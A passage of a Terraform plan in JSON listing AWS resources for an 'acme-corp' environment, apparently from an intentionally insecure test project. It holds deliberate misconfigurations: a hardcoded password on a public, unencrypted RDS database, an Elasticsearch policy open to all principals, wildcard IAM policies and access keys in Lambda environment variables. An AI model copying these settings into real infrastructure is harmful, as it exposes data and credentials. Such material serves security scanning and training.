}\n      ]\n    }\n  },\n  \"resource_changes\": [\n    {\n      \"address\": \"aws_db_instance.default\",\n      \"mode\": \"managed\",\n      \"type\": \"aws_db_instance\",\n      \"name\": \"default\",\n      \"provider_name\": \"aws\",\n      \"change\": {\n        \"actions\": [\n          \"create\"\n        ],\n        \"before\": null,\n        \"after\": {\n          \"allocated_storage\": 20,\n          \"allow_major_version_upgrade\": null,\n          \"apply_immediately\": true,\n          \"auto_minor_version_upgrade\": true,\n          \"backup_retention_period\": 0,\n          \"copy_tags_to_snapshot\": false,\n          \"db_subnet_group_name\": \"sg-123456789123-acme-corp\",\n          \"delete_automated_backups\": true,\n          \"deletion_protection\": null,\n          \"domain\": null,\n          \"domain_iam_role_name\": null,\n          \"enabled_cloudwatch_logs_exports\": null,\n          \"engine\": \"mysql\",\n          \"engine_version\": \"8.0\",\n          \"final_snapshot_identifier\": null,\n          \"iam_database_authentication_enabled\": null,\n          \"identifier\": \"rds-123456789123-acme-corp\",\n          \"instance_class\": \"db.t3.micro\",\n          \"iops\": null,\n          \"max_allocated_storage\": null,\n          \"monitoring_interval\": 0,\n          \"multi_az\": false,\n          \"name\": \"db1\",\n          \"option_group_name\": \"og-123456789123-acme-corp\",\n          \"parameter_group_name\": \"pg-123456789123-acme-corp\",\n          \"password\": \"Aa1234321Bb\",\n          \"performance_insights_enabled\": false,\n          \"publicly_accessible\": true,\n          \"replicate_source_db\": null,\n          \"s3_import\": [],\n          \"security_group_names\": null,\n          \"skip_final_snapshot\": true,\n          \"snapshot_identifier\": null,\n          \"storage_encrypted\": false,\n          \"tags\": {\n            \"Environment\": \"123456789123-acme-corp\",\n            \"Name\": \"123456789123-acme-corp-rds\"\n          },\n          \"timeouts\": null,\n          \"username\": \"admin\"\n        },\n        \"after_unknown\": {\n          \"address\": true,\n          \"arn\": true,\n          \"availability_zone\": true,\n          \"backup_window\": true,\n          \"ca_cert_identifier\": true,\n          \"character_set_name\": true,\n          \"endpoint\": true,\n          \"hosted_zone_id\": true,\n          \"id\": true,\n          \"identifier_prefix\": true,\n          \"kms_key_id\": true,\n          \"license_model\": true,\n          \"maintenance_window\": true,\n          \"monitoring_role_arn\": true,\n          \"performance_insights_kms_key_id\": true,\n          \"performance_insights_retention_period\": true,\n          \"port\": true,\n          \"replicas\": true,\n          \"resource_id\": true,\n          \"s3_import\": [],\n          \"status\": true,\n          \"storage_type\": true,\n          \"tags\": {},\n          \"timezone\": true,\n          \"vpc_security_group_ids\": true\n        }\n      }\n    },\n    {\n      \"address\": \"aws_db_option_group.default\",\n      \"mode\": \"managed\",\n      \"type\": \"aws_db_option_group\",\n      \"name\": \"default\",\n      \"provider_name\": \"aws\",\n      \"change\": {\n        \"actions\": [\n          \"create\"\n        ],\n        \"before\": null,\n        \"after\": {\n          \"engine_name\": \"mysql\",\n          \"major_engine_version\": \"8.0\",\n          \"name\": \"og-123456789123-acme-corp\",\n          \"option\": [],\n          \"option_group_description\": \"Terraform OG\",\n          \"tags\": {\n            \"Environment\": \"123456789123-acme-corp\",\n            \"Name\": \"123456789123-acme-corp-og\"\n          },\n          \"timeouts\": null\n        },\n        \"after_unknown\": {\n          \"arn\": true,\n          \"id\": true,\n          \"name_prefix\": true,\n          \"option\": [],\n          \"tags\": {}\n        }\n      }\n    },\n    {\n      \"address\": \"aws_db_parameter_group.default\",\n      \"mode\": \"managed\",\n      \"type\": \"aws_db_parameter_group\",\n      \"name\": \"default\",\n      \"provider_name\": \"aws\",\n      \"change\": {\n        \"actions\": [\n          \"create\"\n        ],\n        \"before\": null,\n        \"after\": {\n          \"description\": \"Terraform PG\",\n          \"family\": \"mysql8.0\",\n          \"name\": \"pg-123456789123-acme-corp\",\n          \"parameter\": [\n            {\n              \"apply_method\": \"immediate\",\n              \"name\": \"character_set_client\",\n              \"value\": \"utf8\"\n            },\n            {\n              \"apply_method\": \"immediate\",\n              \"name\": \"character_set_server\",\n              \"value\": \"utf8\"\n            }\n          ],\n          \"tags\": {\n            \"Environment\": \"123456789123-acme-corp\",\n            \"Name\": \"123456789123-acme-corp-pg\"\n          }\n        },\n        \"after_unknown\": {\n          \"arn\": true,\n          \"id\": true,\n          \"name_prefix\": true,\n          \"parameter\": [\n            {},\n            {}\n          ],\n          \"tags\": {}\n        }\n      }\n    },\n    {\n      \"address\": \"aws_db_subnet_group.default\",\n      \"mode\": \"managed\",\n      \"type\": \"aws_db_subnet_group\",\n      \"name\": \"default\",\n      \"provider_name\": \"aws\",\n      \"change\": {\n        \"actions\": [\n          \"create\"\n        ],\n        \"before\": null,\n        \"after\": {\n          \"description\": \"Terraform DB Subnet Group\",\n          \"name\": \"sg-123456789123-acme-corp\",\n          \"tags\": {\n            \"Environment\": \"123456789123-acme-corp\",\n            \"Name\": \"sg-123456789123-acme-corp\"\n          }\n        },\n        \"after_unknown\": {\n          \"arn\": true,\n          \"id\": true,\n          \"name_prefix\": true,\n          \"subnet_ids\": true,\n          \"tags\": {}\n        }\n      }\n    },\n    {\n      \"address\": \"aws_ebs_snapshot.example_snapshot\",\n      \"mode\": \"managed\",\n      \"type\": \"aws_ebs_snapshot\",\n      \"name\": \"example_snapshot\",\n      \"provider_name\": \"aws\",\n      \"change\": {\n        \"actions\": [\n          \"create\"\n        ],\n        \"before\": null,\n        \"after\": {\n          \"description\": \"123456789123-acme-corp-ebs-snapshot\",\n          \"tags\": {\n            \"Name\": \"123456789123-acme-corp-ebs-snapshot\"\n          },\n          \"timeouts\": null\n        },\n        \"after_unknown\": {\n          \"arn\": true,\n          \"data_encryption_key_id\": true,\n          \"encrypted\": true,\n          \"id\": true,\n          \"kms_key_id\": true,\n          \"owner_alias\": true,\n          \"owner_id\": true,\n          \"tags\": {},\n          \"volume_id\": true,\n          \"volume_size\": true\n        }\n      }\n    },\n    {\n      \"address\": \"aws_ebs_volume.web_host_storage\",\n      \"mode\": \"managed\",\n      \"type\": \"aws_ebs_volume\",\n      \"name\": \"web_host_storage\",\n      \"provider_name\": \"aws\",\n      \"change\": {\n        \"actions\": [\n          \"create\"\n        ],\n        \"before\": null,\n        \"after\": {\n          \"availability_zone\": \"us-west-2a\",\n          \"multi_attach_enabled\": null,\n          \"outpost_arn\": null,\n          \"size\": 1,\n          \"tags\": {\n            \"Name\": \"123456789123-acme-corp-ebs\"\n          }\n        },\n        \"after_unknown\": {\n          \"arn\": true,\n          \"encrypted\": true,\n          \"id\": true,\n          \"iops\": true,\n          \"kms_key_id\": true,\n          \"snapshot_id\": true,\n          \"tags\": {},\n          \"type\": true\n        }\n      }\n    },\n    {\n      \"address\": \"aws_ecr_repository.repository\",\n      \"mode\": \"managed\",\n      \"type\": \"aws_ecr_repository\",\n      \"name\": \"repository\",\n      \"provider_name\": \"aws\",\n      \"change\": {\n        \"actions\": [\n          \"create\"\n        ],\n        \"before\": null,\n        \"after\": {\n          \"encryption_configuration\": [],\n          \"image_scanning_configuration\": [],\n          \"image_tag_mutability\": \"MUTABLE\",\n          \"name\": \"123456789123-acme-corp-repository\",\n          \"tags\": {\n            \"Name\": \"123456789123-acme-corp-repository\"\n          },\n          \"timeouts\": null\n        },\n        \"after_unknown\": {\n          \"arn\": true,\n          \"encryption_configuration\": [],\n          \"id\": true,\n          \"image_scanning_configuration\": [],\n          \"registry_id\": true,\n          \"repository_url\": true,\n          \"tags\": {}\n        }\n      }\n    },\n    {\n      \"address\": \"aws_eks_cluster.eks_cluster\",\n      \"mode\": \"managed\",\n      \"type\": \"aws_eks_cluster\",\n      \"name\": \"eks_cluster\",\n      \"provider_name\": \"aws\",\n      \"change\": {\n        \"actions\": [\n          \"create\"\n        ],\n        \"before\": null,\n        \"after\": {\n          \"enabled_cluster_log_types\": null,\n          \"encryption_config\": [],\n          \"name\": \"123456789123-acme-corp-eks\",\n          \"tags\": null,\n          \"timeouts\": null,\n          \"vpc_config\": [\n            {\n              \"endpoint_private_access\": true,\n              \"endpoint_public_access\": true,\n              \"security_group_ids\": null\n            }\n          ]\n        },\n        \"after_unknown\": {\n          \"arn\": true,\n          \"certificate_authority\": true,\n          \"created_at\": true,\n          \"encryption_config\": [],\n          \"endpoint\": true,\n          \"id\": true,\n          \"identity\": true,\n          \"platform_version\": true,\n          \"role_arn\": true,\n          \"status\": true,\n          \"version\": true,\n          \"vpc_config\": [\n            {\n              \"cluster_security_group_id\": true,\n              \"public_access_cidrs\": true,\n              \"subnet_ids\": true,\n              \"vpc_id\": true\n            }\n          ]\n        }\n      }\n    },\n    {\n      \"address\": \"aws_elasticsearch_domain.monitoring-framework\",\n      \"mode\": \"managed\",\n      \"type\": \"aws_elasticsearch_domain\",\n      \"name\": \"monitoring-framework\",\n      \"provider_name\": \"aws\",\n      \"change\": {\n        \"actions\": [\n          \"create\"\n        ],\n        \"before\": null,\n        \"after\": {\n          \"cluster_config\": [\n            {\n              \"dedicated_master_count\": null,\n              \"dedicated_master_enabled\": false,\n              \"dedicated_master_type\": null,\n              \"instance_count\": 1,\n              \"instance_type\": \"t2.small.elasticsearch\",\n              \"warm_count\": null,\n              \"warm_enabled\": null,\n              \"warm_type\": null,\n              \"zone_awareness_config\": [],\n              \"zone_awareness_enabled\": null\n            }\n          ],\n          \"cognito_options\": [],\n          \"domain_name\": \"tg-corp-es\",\n          \"ebs_options\": [\n            {\n              \"ebs_enabled\": true,\n              \"iops\": null,\n              \"volume_size\": 30\n            }\n          ],\n          \"elasticsearch_version\": \"2.3\",\n          \"log_publishing_options\": [],\n          \"snapshot_options\": [],\n          \"tags\": null,\n          \"timeouts\": null,\n          \"vpc_options\": []\n        },\n        \"after_unknown\": {\n          \"access_policies\": true,\n          \"advanced_options\": true,\n          \"advanced_security_options\": true,\n          \"arn\": true,\n          \"cluster_config\": [\n            {\n              \"zone_awareness_config\": []\n            }\n          ],\n          \"cognito_options\": [],\n          \"domain_endpoint_options\": true,\n          \"domain_id\": true,\n          \"ebs_options\": [\n            {\n              \"volume_type\": true\n            }\n          ],\n          \"encrypt_at_rest\": true,\n          \"endpoint\": true,\n          \"id\": true,\n          \"kibana_endpoint\": true,\n          \"log_publishing_options\": [],\n          \"node_to_node_encryption\": true,\n          \"snapshot_options\": [],\n          \"vpc_options\": []\n        }\n      }\n    },\n    {\n      \"address\": \"aws_elasticsearch_domain_policy.monitoring-framework-policy\",\n      \"mode\": \"managed\",\n      \"type\": \"aws_elasticsearch_domain_policy\",\n      \"name\": \"monitoring-framework-policy\",\n      \"provider_name\": \"aws\",\n      \"change\": {\n        \"actions\": [\n          \"create\"\n        ],\n        \"before\": null,\n        \"after\": {\n          \"access_policies\": \"{\\n  \\\"Version\\\": \\\"2012-10-17\\\",\\n  \\\"Statement\\\": [\\n    {\\n      \\\"Sid\\\": \\\"\\\",\\n      \\\"Effect\\\": \\\"Allow\\\",\\n      \\\"Action\\\": \\\"es:*\\\",\\n      \\\"Resource\\\": \\\"*\\\",\\n      \\\"Principal\\\": {\\n        \\\"AWS\\\": \\\"*\\\"\\n      }\\n    }\\n  ]\\n}\",\n          \"domain_name\": \"tg-corp-es\"\n        },\n        \"after_unknown\": {\n          \"id\": true\n        }\n      }\n    },\n    {\n      \"address\": \"aws_elb.weblb\",\n      \"mode\": \"managed\",\n      \"type\": \"aws_elb\",\n      \"name\": \"weblb\",\n      \"provider_name\": \"aws\",\n      \"change\": {\n        \"actions\": [\n          \"create\"\n        ],\n        \"before\": null,\n        \"after\": {\n          \"access_logs\": [],\n          \"connection_draining\": true,\n          \"connection_draining_timeout\": 400,\n          \"cross_zone_load_balancing\": true,\n          \"health_check\": [\n            {\n              \"healthy_threshold\": 2,\n              \"interval\": 30,\n              \"target\": \"HTTP:8000/\",\n              \"timeout\": 3,\n              \"unhealthy_threshold\": 2\n            }\n          ],\n          \"idle_timeout\": 400,\n          \"listener\": [\n            {\n              \"instance_port\": 8000,\n              \"instance_protocol\": \"http\",\n              \"lb_port\": 80,\n              \"lb_protocol\": \"http\",\n              \"ssl_certificate_id\": \"\"\n            }\n          ],\n          \"name\": \"weblb-terraform-elb\",\n          \"name_prefix\": null,\n          \"tags\": {\n            \"Name\": \"foobar-terraform-elb\"\n          }\n        },\n        \"after_unknown\": {\n          \"access_logs\": [],\n          \"arn\": true,\n          \"availability_zones\": true,\n          \"dns_name\": true,\n          \"health_check\": [\n            {}\n          ],\n          \"id\": true,\n          \"instances\": true,\n          \"internal\": true,\n          \"listener\": [\n            {}\n          ],\n          \"security_groups\": true,\n          \"source_security_group\": true,\n          \"source_security_group_id\": true,\n          \"subnets\": true,\n          \"tags\": {},\n          \"zone_id\": true\n        }\n      }\n    },\n    {\n      \"address\": \"aws_flow_log.vpcflowlogs\",\n      \"mode\": \"managed\",\n      \"type\": \"aws_flow_log\",\n      \"name\": \"vpcflowlogs\",\n      \"provider_name\": \"aws\",\n      \"change\": {\n        \"actions\": [\n          \"create\"\n        ],\n        \"before\": null,\n        \"after\": {\n          \"eni_id\": null,\n          \"iam_role_arn\": null,\n          \"log_destination_type\": \"s3\",\n          \"max_aggregation_interval\": 600,\n          \"subnet_id\": null,\n          \"tags\": {\n            \"Environment\": \"123456789123-acme-corp\",\n            \"Name\": \"123456789123-acme-corp-flowlogs\"\n          },\n          \"traffic_type\": \"ALL\"\n        },\n        \"after_unknown\": {\n          \"arn\": true,\n          \"id\": true,\n          \"log_destination\": true,\n          \"log_format\": true,\n          \"log_group_name\": true,\n          \"tags\": {},\n          \"vpc_id\": true\n        }\n      }\n    },\n    {\n      \"address\": \"aws_iam_access_key.user\",\n      \"mode\": \"managed\",\n      \"type\": \"aws_iam_access_key\",\n      \"name\": \"user\",\n      \"provider_name\": \"aws\",\n      \"change\": {\n        \"actions\": [\n          \"create\"\n        ],\n        \"before\": null,\n        \"after\": {\n          \"pgp_key\": null,\n          \"user\": \"123456789123-acme-corp-user\"\n        },\n        \"after_unknown\": {\n          \"encrypted_secret\": true,\n          \"id\": true,\n          \"key_fingerprint\": true,\n          \"secret\": true,\n          \"ses_smtp_password_v4\": true,\n          \"status\": true\n        }\n      }\n    },\n    {\n      \"address\": \"aws_iam_instance_profile.ec2profile\",\n      \"mode\": \"managed\",\n      \"type\": \"aws_iam_instance_profile\",\n      \"name\": \"ec2profile\",\n      \"provider_name\": \"aws\",\n      \"change\": {\n        \"actions\": [\n          \"create\"\n        ],\n        \"before\": null,\n        \"after\": {\n          \"name\": \"123456789123-acme-corp-profile\",\n          \"name_prefix\": null,\n          \"path\": \"/\",\n          \"role\": \"123456789123-acme-corp-role\"\n        },\n        \"after_unknown\": {\n          \"arn\": true,\n          \"create_date\": true,\n          \"id\": true,\n          \"unique_id\": true\n        }\n      }\n    },\n    {\n      \"address\": \"aws_iam_role.ec2role\",\n      \"mode\": \"managed\",\n      \"type\": \"aws_iam_role\",\n      \"name\": \"ec2role\",\n      \"provider_name\": \"aws\",\n      \"change\": {\n        \"actions\": [\n          \"create\"\n        ],\n        \"before\": null,\n        \"after\": {\n          \"assume_role_policy\": \"{\\n    \\\"Version\\\": \\\"2012-10-17\\\",\\n    \\\"Statement\\\": [\\n        {\\n            \\\"Action\\\": \\\"sts:AssumeRole\\\",\\n            \\\"Principal\\\": {\\n               \\\"Service\\\": \\\"ec2.amazonaws.com\\\"\\n            },\\n            \\\"Effect\\\": \\\"Allow\\\",\\n            \\\"Sid\\\": \\\"\\\"\\n        }\\n    ]\\n}\\n\",\n          \"description\": null,\n          \"force_detach_policies\": false,\n          \"max_session_duration\": 3600,\n          \"name\": \"123456789123-acme-corp-role\",\n          \"name_prefix\": null,\n          \"path\": \"/\",\n          \"permissions_boundary\": null,\n          \"tags\": {\n            \"Environment\": \"123456789123-acme-corp\",\n            \"Name\": \"123456789123-acme-corp-role\"\n          }\n        },\n        \"after_unknown\": {\n          \"arn\": true,\n          \"create_date\": true,\n          \"id\": true,\n          \"tags\": {},\n          \"unique_id\": true\n        }\n      }\n    },\n    {\n      \"address\": \"aws_iam_role.iam_for_eks\",\n      \"mode\": \"managed\",\n      \"type\": \"aws_iam_role\",\n      \"name\": \"iam_for_eks\",\n      \"provider_name\": \"aws\",\n      \"change\": {\n        \"actions\": [\n          \"create\"\n        ],\n        \"before\": null,\n        \"after\": {\n          \"assume_role_policy\": \"{\\n  \\\"Version\\\": \\\"2012-10-17\\\",\\n  \\\"Statement\\\": [\\n    {\\n      \\\"Sid\\\": \\\"\\\",\\n      \\\"Effect\\\": \\\"Allow\\\",\\n      \\\"Action\\\": \\\"sts:AssumeRole\\\",\\n      \\\"Principal\\\": {\\n        \\\"Service\\\": \\\"eks.amazonaws.com\\\"\\n      }\\n    }\\n  ]\\n}\",\n          \"description\": null,\n          \"force_detach_policies\": false,\n          \"max_session_duration\": 3600,\n          \"name\": \"123456789123-acme-corp-iam-for-eks\",\n          \"name_prefix\": null,\n          \"path\": \"/\",\n          \"permissions_boundary\": null,\n          \"tags\": null\n        },\n        \"after_unknown\": {\n          \"arn\": true,\n          \"create_date\": true,\n          \"id\": true,\n          \"unique_id\": true\n        }\n      }\n    },\n    {\n      \"address\": \"aws_iam_role.iam_for_lambda\",\n      \"mode\": \"managed\",\n      \"type\": \"aws_iam_role\",\n      \"name\": \"iam_for_lambda\",\n      \"provider_name\": \"aws\",\n      \"change\": {\n        \"actions\": [\n          \"create\"\n        ],\n        \"before\": null,\n        \"after\": {\n          \"assume_role_policy\": \"{\\n  \\\"Version\\\": \\\"2012-10-17\\\",\\n  \\\"Statement\\\": [\\n    {\\n      \\\"Action\\\": \\\"sts:AssumeRole\\\",\\n      \\\"Principal\\\": {\\n        \\\"Service\\\": \\\"lambda.amazonaws.com\\\"\\n      },\\n      \\\"Effect\\\": \\\"Allow\\\",\\n      \\\"Sid\\\": \\\"\\\"\\n    }\\n  ]\\n}\\n\",\n          \"description\": null,\n          \"force_detach_policies\": false,\n          \"max_session_duration\": 3600,\n          \"name\": \"123456789123-acme-corp-analysis-lambda\",\n          \"name_prefix\": null,\n          \"path\": \"/\",\n          \"permissions_boundary\": null,\n          \"tags\": null\n        },\n        \"after_unknown\": {\n          \"arn\": true,\n          \"create_date\": true,\n          \"id\": true,\n          \"unique_id\": true\n        }\n      }\n    },\n    {\n      \"address\": \"aws_iam_role_policy.ec2policy\",\n      \"mode\": \"managed\",\n      \"type\": \"aws_iam_role_policy\",\n      \"name\": \"ec2policy\",\n      \"provider_name\": \"aws\",\n      \"change\": {\n        \"actions\": [\n          \"create\"\n        ],\n        \"before\": null,\n        \"after\": {\n          \"name\": \"123456789123-acme-corp-policy\",\n          \"name_prefix\": null,\n          \"policy\": \"{\\n  \\\"Version\\\": \\\"2012-10-17\\\",\\n  \\\"Statement\\\": [\\n    {\\n      \\\"Action\\\": [\\n        \\\"s3:*\\\",\\n        \\\"ec2:*\\\",\\n        \\\"rds:*\\\"\\n      ],\\n      \\\"Effect\\\": \\\"Allow\\\",\\n      \\\"Resource\\\": \\\"*\\\"\\n    }\\n  ]\\n}\\n\"\n        },\n        \"after_unknown\": {\n          \"id\": true,\n          \"role\": true\n        }\n      }\n    },\n    {\n      \"address\": \"aws_iam_role_policy_attachment.policy_attachment-AmazonEKSClusterPolicy\",\n      \"mode\": \"managed\",\n      \"type\": \"aws_iam_role_policy_attachment\",\n      \"name\": \"policy_attachment-AmazonEKSClusterPolicy\",\n      \"provider_name\": \"aws\",\n      \"change\": {\n        \"actions\": [\n          \"create\"\n        ],\n        \"before\": null,\n        \"after\": {\n          \"policy_arn\": \"arn:aws:iam::aws:policy/AmazonEKSClusterPolicy\",\n          \"role\": \"123456789123-acme-corp-iam-for-eks\"\n        },\n        \"after_unknown\": {\n          \"id\": true\n        }\n      }\n    },\n    {\n      \"address\": \"aws_iam_role_policy_attachment.policy_attachment-AmazonEKSServicePolicy\",\n      \"mode\": \"managed\",\n      \"type\": \"aws_iam_role_policy_attachment\",\n      \"name\": \"policy_attachment-AmazonEKSServicePolicy\",\n      \"provider_name\": \"aws\",\n      \"change\": {\n        \"actions\": [\n          \"create\"\n        ],\n        \"before\": null,\n        \"after\": {\n          \"policy_arn\": \"arn:aws:iam::aws:policy/AmazonEKSServicePolicy\",\n          \"role\": \"123456789123-acme-corp-iam-for-eks\"\n        },\n        \"after_unknown\": {\n          \"id\": true\n        }\n      }\n    },\n    {\n      \"address\": \"aws_iam_user.user\",\n      \"mode\": \"managed\",\n      \"type\": \"aws_iam_user\",\n      \"name\": \"user\",\n      \"provider_name\": \"aws\",\n      \"change\": {\n        \"actions\": [\n          \"create\"\n        ],\n        \"before\": null,\n        \"after\": {\n          \"force_destroy\": true,\n          \"name\": \"123456789123-acme-corp-user\",\n          \"path\": \"/\",\n          \"permissions_boundary\": null,\n          \"tags\": {\n            \"Environment\": \"123456789123-acme-corp\",\n            \"Name\": \"123456789123-acme-corp-user\"\n          }\n        },\n        \"after_unknown\": {\n          \"arn\": true,\n          \"id\": true,\n          \"tags\": {},\n          \"unique_id\": true\n        }\n      }\n    },\n    {\n      \"address\": \"aws_iam_user_policy.userpolicy\",\n      \"mode\": \"managed\",\n      \"type\": \"aws_iam_user_policy\",\n      \"name\": \"userpolicy\",\n      \"provider_name\": \"aws\",\n      \"change\": {\n        \"actions\": [\n          \"create\"\n        ],\n        \"before\": null,\n        \"after\": {\n          \"name\": \"excess_policy\",\n          \"name_prefix\": null,\n          \"policy\": \"{\\n  \\\"Version\\\": \\\"2012-10-17\\\",\\n  \\\"Statement\\\": [\\n    {\\n      \\\"Action\\\": [\\n        \\\"ec2:*\\\",\\n        \\\"s3:*\\\",\\n        \\\"lambda:*\\\",\\n        \\\"cloudwatch:*\\\"\\n      ],\\n      \\\"Effect\\\": \\\"Allow\\\",\\n      \\\"Resource\\\": \\\"*\\\"\\n    }\\n  ]\\n}\\n\",\n          \"user\": \"123456789123-acme-corp-user\"\n        },\n        \"after_unknown\": {\n          \"id\": true\n        }\n      }\n    },\n    {\n      \"address\": \"aws_instance.db_app\",\n      \"mode\": \"managed\",\n      \"type\": \"aws_instance\",\n      \"name\": \"db_app\",\n      \"provider_name\": \"aws\",\n      \"change\": {\n        \"actions\": [\n          \"create\"\n        ],\n        \"before\": null,\n        \"after\": {\n          \"ami\": \"ami-0f0a6d00932023856\",\n          \"credit_specification\": [],\n          \"disable_api_termination\": null,\n          \"ebs_optimized\": null,\n          \"get_password_data\": false,\n          \"hibernation\": null,\n          \"iam_instance_profile\": \"123456789123-acme-corp-profile\",\n          \"instance_initiated_shutdown_behavior\": null,\n          \"instance_type\": \"t2.nano\",\n          \"monitoring\": null,\n          \"source_dest_check\": true,\n          \"tags\": {\n            \"Name\": \"123456789123-acme-corp-dbapp\"\n          },\n          \"timeouts\": null,\n          \"user_data_base64\": null\n        },\n        \"after_unknown\": {\n          \"arn\": true,\n          \"associate_public_ip_address\": true,\n          \"availability_zone\": true,\n          \"cpu_core_count\": true,\n          \"cpu_threads_per_core\": true,\n          \"credit_specification\": [],\n          \"ebs_block_device\": true,\n          \"ephemeral_block_device\": true,\n          \"host_id\": true,\n          \"id\": true,\n          \"instance_state\": true,\n          \"ipv6_address_count\": true,\n          \"ipv6_addresses\": true,\n          \"key_name\": true,\n          \"metadata_options\": true,\n          \"network_interface\": true,\n          \"outpost_arn\": true,\n          \"password_data\": true,\n          \"placement_group\": true,\n          \"primary_network_interface_id\": true,\n          \"private_dns\": true,\n          \"private_ip\": true,\n          \"public_dns\": true,\n          \"public_ip\": true,\n          \"root_block_device\": true,\n          \"secondary_private_ips\": true,\n          \"security_groups\": true,\n          \"subnet_id\": true,\n          \"tags\": {},\n          \"tenancy\": true,\n          \"user_data\": true,\n          \"volume_tags\": true,\n          \"vpc_security_group_ids\": true\n        }\n      }\n    },\n    {\n      \"address\": \"aws_instance.web_host\",\n      \"mode\": \"managed\",\n      \"type\": \"aws_instance\",\n      \"name\": \"web_host\",\n      \"provider_name\": \"aws\",\n      \"change\": {\n        \"actions\": [\n          \"create\"\n        ],\n        \"before\": null,\n        \"after\": {\n          \"ami\": \"ami-09a5b0b7edf08843d\",\n          \"credit_specification\": [],\n          \"disable_api_termination\": null,\n          \"ebs_optimized\": null,\n          \"get_password_data\": false,\n          \"hibernation\": null,\n          \"iam_instance_profile\": null,\n          \"instance_initiated_shutdown_behavior\": null,\n          \"instance_type\": \"t2.nano\",\n          \"monitoring\": null,\n          \"source_dest_check\": true,\n          \"tags\": {\n            \"Name\": \"123456789123-acme-corp-ec2\"\n          },\n          \"timeouts\": null,\n          \"user_data\": \"44c6c808e6449ee36dfcfc4ebd66c1b9634b40f2\",\n          \"user_data_base64\": null\n        },\n        \"after_unknown\": {\n          \"arn\": true,\n          \"associate_public_ip_address\": true,\n          \"availability_zone\": true,\n          \"cpu_core_count\": true,\n          \"cpu_threads_per_core\": true,\n          \"credit_specification\": [],\n          \"ebs_block_device\": true,\n          \"ephemeral_block_device\": true,\n          \"host_id\": true,\n          \"id\": true,\n          \"instance_state\": true,\n          \"ipv6_address_count\": true,\n          \"ipv6_addresses\": true,\n          \"key_name\": true,\n          \"metadata_options\": true,\n          \"network_interface\": true,\n          \"outpost_arn\": true,\n          \"password_data\": true,\n          \"placement_group\": true,\n          \"primary_network_interface_id\": true,\n          \"private_dns\": true,\n          \"private_ip\": true,\n          \"public_dns\": true,\n          \"public_ip\": true,\n          \"root_block_device\": true,\n          \"secondary_private_ips\": true,\n          \"security_groups\": true,\n          \"subnet_id\": true,\n          \"tags\": {},\n          \"tenancy\": true,\n          \"volume_tags\": true,\n          \"vpc_security_group_ids\": true\n        }\n      }\n    },\n    {\n      \"address\": \"aws_internet_gateway.web_igw\",\n      \"mode\": \"managed\",\n      \"type\": \"aws_internet_gateway\",\n      \"name\": \"web_igw\",\n      \"provider_name\": \"aws\",\n      \"change\": {\n        \"actions\": [\n          \"create\"\n        ],\n        \"before\": null,\n        \"after\": {\n          \"tags\": {\n            \"Name\": \"123456789123-acme-corp-igw\"\n          }\n        },\n        \"after_unknown\": {\n          \"arn\": true,\n          \"id\": true,\n          \"owner_id\": true,\n          \"tags\": {},\n          \"vpc_id\": true\n        }\n      }\n    },\n    {\n      \"address\": \"aws_kms_alias.logs_key_alias\",\n      \"mode\": \"managed\",\n      \"type\": \"aws_kms_alias\",\n      \"name\": \"logs_key_alias\",\n      \"provider_name\": \"aws\",\n      \"change\": {\n        \"actions\": [\n          \"create\"\n        ],\n        \"before\": null,\n        \"after\": {\n          \"name\": \"alias/123456789123-acme-corp-logs-bucket-key\",\n          \"name_prefix\": null\n        },\n        \"after_unknown\": {\n          \"arn\": true,\n          \"id\": true,\n          \"target_key_arn\": true,\n          \"target_key_id\": true\n        }\n      }\n    },\n    {\n      \"address\": \"aws_kms_key.logs_key\",\n      \"mode\": \"managed\",\n      \"type\": \"aws_kms_key\",\n      \"name\": \"logs_key\",\n      \"provider_name\": \"aws\",\n      \"change\": {\n        \"actions\": [\n          \"create\"\n        ],\n        \"before\": null,\n        \"after\": {\n          \"customer_master_key_spec\": \"SYMMETRIC_DEFAULT\",\n          \"deletion_window_in_days\": 7,\n          \"description\": \"123456789123-acme-corp-logs bucket key\",\n          \"enable_key_rotation\": false,\n          \"is_enabled\": true,\n          \"key_usage\": \"ENCRYPT_DECRYPT\",\n          \"tags\": null\n        },\n        \"after_unknown\": {\n          \"arn\": true,\n          \"id\": true,\n          \"key_id\": true,\n          \"policy\": true\n        }\n      }\n    },\n    {\n      \"address\": \"aws_lambda_function.analysis_lambda\",\n      \"mode\": \"managed\",\n      \"type\": \"aws_lambda_function\",\n      \"name\": \"analysis_lambda\",\n      \"provider_name\": \"aws\",\n      \"change\": {\n        \"actions\": [\n          \"create\"\n        ],\n        \"before\": null,\n        \"after\": {\n          \"dead_letter_config\": [],\n          \"description\": null,\n          \"environment\": [\n            {\n              \"variables\": {\n                \"access_key\": \"AKIAIOSFODNN7EXAMPLE\",\n                \"secret_key\": \"wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY\"\n              }\n            }\n          ],\n          \"file_system_config\": [],\n          \"filename\": \"resources/lambda_function_payload.zip\",\n          \"function_name\": \"123456789123-acme-corp-analysis\",\n          \"handler\": \"exports.test\",\n          \"kms_key_arn\": null,\n          \"layers\": null,\n          \"memory_size\": 128,\n          \"publish\": false,\n          \"reserved_concurrent_executions\": -1,\n          \"runtime\": \"nodejs12.x\",\n          \"s3_bucket\": null,\n          \"s3_key\": null,\n          \"s3_object_version\": null,\n          \"source_code_hash\": \"Fne61Y/F2pmVywaVqIYcztFMK3LNeMJKpWFNnxDdGTw=\",\n          \"tags\": null,\n          \"timeout\": 3,\n          \"timeouts\": null,\n          \"vpc_config\": []\n        },\n        \"after_unknown\": {\n          \"arn\": true,\n          \"dead_letter_config\": [],\n          \"environment\": [\n            {\n              \"variables\": {}\n            }\n          ],\n          \"file_system_config\": [],\n          \"id\": true,\n          \"invoke_arn\": true,\n          \"last_modified\": true,\n          \"qualified_arn\": true,\n          \"role\": true,\n          \"source_code_size\": true,\n          \"tracing_config\": true,\n          \"version\": true,\n          \"vpc_config\": []\n        }\n      }\n    },\n    {\n      \"address\": \"aws_neptune_cluster.default\",\n      \"mode\": \"managed\",\n      \"type\": \"aws_neptune_cluster\",\n      \"name\": \"default\",\n      \"provider_name\": \"aws\",\n      \"change\": {\n        \"actions\": [\n          \"create\"\n        ],\n        \"before\": null,\n        \"after\": {\n          \"apply_immediately\": true,\n          \"backup_retention_period\": 5,\n          \"cluster_identifier\": \"neptunedb1\",\n          \"deletion_protection\": null,\n          \"enable_cloudwatch_logs_exports\": null,\n          \"engine\": \"neptune\",\n          \"final_snapshot_identifier\": null,\n          \"iam_database_authentication_enabled\": false,\n          \"iam_roles\": null,\n          \"neptune_cluster_parameter_group_name\": \"default.neptune1\",\n          \"port\": 8182,\n          \"preferred_backup_window\": 